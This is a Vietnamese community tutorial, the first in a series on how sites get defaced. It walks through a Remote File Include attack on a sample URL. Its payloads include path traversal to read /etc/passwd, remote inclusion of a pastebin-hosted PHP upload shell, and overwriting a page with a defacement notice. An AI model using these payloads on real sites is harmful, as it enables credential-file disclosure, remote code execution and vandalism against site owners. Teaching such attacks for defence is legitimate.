Các Hacker đã hack trang web như thế nào?


Đa số mọi người trong đây đã từng thấy 1 trang web bị hack và thay đổi giao diện là anonymous, hacked by abc, ...... Vậy làm thế nào các hacker có thể làm được điều đó?

Cho tới hiện tại mình biết được 3 cách:

  1. Remote File Include (RFI)
  2. SQL injection.
  3. Cross-site Scripting.

Đặc điểm cả 3 đều thực hiện Upload Shell hay còn gọi là tải file độc hại lên sever thậm chí php, html, js, ...... Với mỗi tập mình sẽ up 1 cách với hướng dẫn chi tiết và kèm video demo.

Đầu tiên ta đi đến cách đầu tiên: Remote File Include (RFI)

Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.

Nói lý thuyết suông thì khá mơ hồ, mình demo bằng 1 trang web luôn

Bài viết dưới đây sẽ tái hiện lại video demo này:

Bắt đầu thôi!

Ví dụ ta có site:

abc. com/index.php?page=photos.php

Giải thích như sau: cái trang php kia sẽ đọc file từ photos.php mà biến page đã được gán. Lúc này nếu sơ hở không lọc kỹ càng, các hacker sẽ lợi dụng lỗ hổng này để khai thác và đọc nhiều file nhạy cảm hơn password

Đến đây ta thử thành đường dẫn google xem như nào.

abc. com/index.php?page=http:// google.com

Tada! Hiện ra nguyên trang search google luôn. ( ảnh 2 ) 

Không có mô tả ảnh.

Vậy là index.php không lọc input đầu vào, ta có thể đọc được file password không? Ban đầu mình thử etc/passwd

abc. com/index.php?page=etc/passwd

Kết quả không show ra gì.

Tiếp tục sử dụng kĩ thuật path lên 1 thư mục bằng ../

abc. com/index.php?page=../etc/passwd

Vẫn không hiện. Tiếp tục path.

abc. com/index.php?page=../../etc/passwd

Tada! Nguyên passwd đã lộ ra sau 2 lần thử.

Không có mô tả ảnh.

Chưa dừng lại ở đây. Nếu có thể đọc được bất kì file gì. Sao ta lại không thử đọc 1 file với mục đích upload file lên sever.

Chuẩn bị 1 file uploadShell.php. Copy code vào pastebin nhằm mục đích lấy link. Sau 1 hồi ta được 1 link với code php để upload file.

Sau 1 hồi ta được kết quả:

abc. com/index.php?page=https:// pastebin. com/xyz

Ok up file đã hiện lên! 

Không có mô tả ảnh.

Giờ chỉ cần tới công đoạn up file bất kì nào lên thôi tùy mục đích của hacker.

Trong video mình muốn ghi đè file dispo_cal.php nên mình đã tạo 1 file php với tên y chang nhưng source code là trang web giao diện thông báo trang web này đã bị hack.

Và cuối cùng thành công! Hoàn thành thử thách.

Không có mô tả ảnh.

 

Mình đã trình bày xong cách 1 của seri hack trang web như thế nào. Trong bài viết có gì sai sót hay mắc lỗi từ ngữ gì mong mọi người đừng ngần ngại cmt góp ý để mình tiếp nhận và sửa ạ. Nếu bạn nào thích những bài như thế này, hãy cho mình biết để mình có thêm động lực tiếp tục tập 2 của seri này. 

Nguồn: Nguyễn Quốc Khánh / j2team Community 

Bình luận